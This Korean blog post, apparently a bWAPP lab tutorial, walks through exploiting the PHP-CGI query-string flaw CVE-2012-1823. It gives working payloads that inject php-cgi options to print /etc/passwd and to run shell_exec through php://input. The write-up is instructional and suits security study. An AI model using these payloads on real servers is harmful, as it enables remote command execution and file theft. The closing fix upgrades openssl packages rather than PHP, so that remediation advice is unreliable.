본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 13. 알려진 취약점이 있는 컴포넌트 사용 [PHP CGI 원격 실행 공격]

by Robert8478 2023. 12. 14.

웹 서비스를 운영하는데 다양한 모듈과 라이브러리를 사용한다. 아파치나 톰캣같은 오픈소스 프로젝트들이 많은 서비스에서 활용된다.
이러한 컴포넌트들이 보안상 안전하기 위해서는 정기적인 보안 패치가 필요하지만 수많은 기능을 완벽 대응하는것은 어렵다.
패치가 아직 이루어지지 않은 상태에서 발생하는 제로데이 공격일때는 침해 위협 탐지 모니터링 강화 및 소스코드 수정을 통해 대응한다.

PHP CGI 취약점(CVE-2012-1823)은 PHP 5.4.12 이전 버전의 sapi/cgi/cgi_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못해 발생하는 취약점이다. 명령어 라인 옵션을 질의 문자열에 포함해서 원격 명령을 실행할 수 있다.
PHP는 CGI 기반으로 'mod_cgid' 모듈을 사용해서 동작 시 'php-cgid'가 argument를 받아서 실행한다. 보통 libphp5.so 모듈로 php 소스가 실행되는데 이때 php-cgid 모듈을 이용하기 때문에 파라미터 값을 실행하게 되어서 예상치 못한 결과가 발생하는 것이다.

[난이도 하]
이번 공격에선 php-cgi 를 이용할 건데 사용할 옵션이 있다.

[옵션]
-n : php.ini 파일을 사용하지 않는다.
-s : 소스코드에 색을 반영해서 보여준다.
-d : php.ini에 정의된 설정 내용을 임의로 설정한다.

우선 디렉터리나 파일 뒤에 -s 옵션을 붙여서 공격을 시도해보자.

페이지의 admin 링크를 클릭하면 admin/phpinfo.php 페이지가 나오는데 뒤에 ?-s를 붙여준 것이다. 그러면 소스코드가 색을 반영후 출력된다.이제 -d 옵션을 이용해서 설정 파일을 직접 변경하고 주요 정보를 확인해 보자. 주요 설정 내용은 3개이다.

[설정]
allow_url_fopen=1 : 외부의 URL로부터 파일 호출
allow_url_include=1 : 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include를 허용한다.
auto_prepend_file=php://input : HTTP Request Body로 데이터를 가져와 실행한다.

?-d auto_prepend_file%3d/etc/passwd+-n 을 뒤에 넣어주었더니 /etc/passwd 데이터를 가져와 출력한 것을 볼 수 있다.
이번엔 php://input 설정을 변경해서 버프슈트로 해보자.

?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
<?php $output = shell_exec('cat /etc/passwd'); echo "$output"; die; 

위 코드를 요청값에 넣어줌으로써 요청값에 /etc/passwd 정보가 노출되게 할 수 있다. 이렇게 옵션 설정을 변경해서 웹셸을 생성하거나 시스템을 역연결 침투하는 등의 공격이 가능해진다.



[대응 방안]
php cgi 버전을 최신 버전으로 업데이트해야 한다. 취약한 버전을 사용중이라면 다음 명령어를 통해 최신 버전으로 업데이트하자.
#apt-get update
#apt-get install --only-upgrade openssl
#apt-get install --only-upgrade libssl1.0.0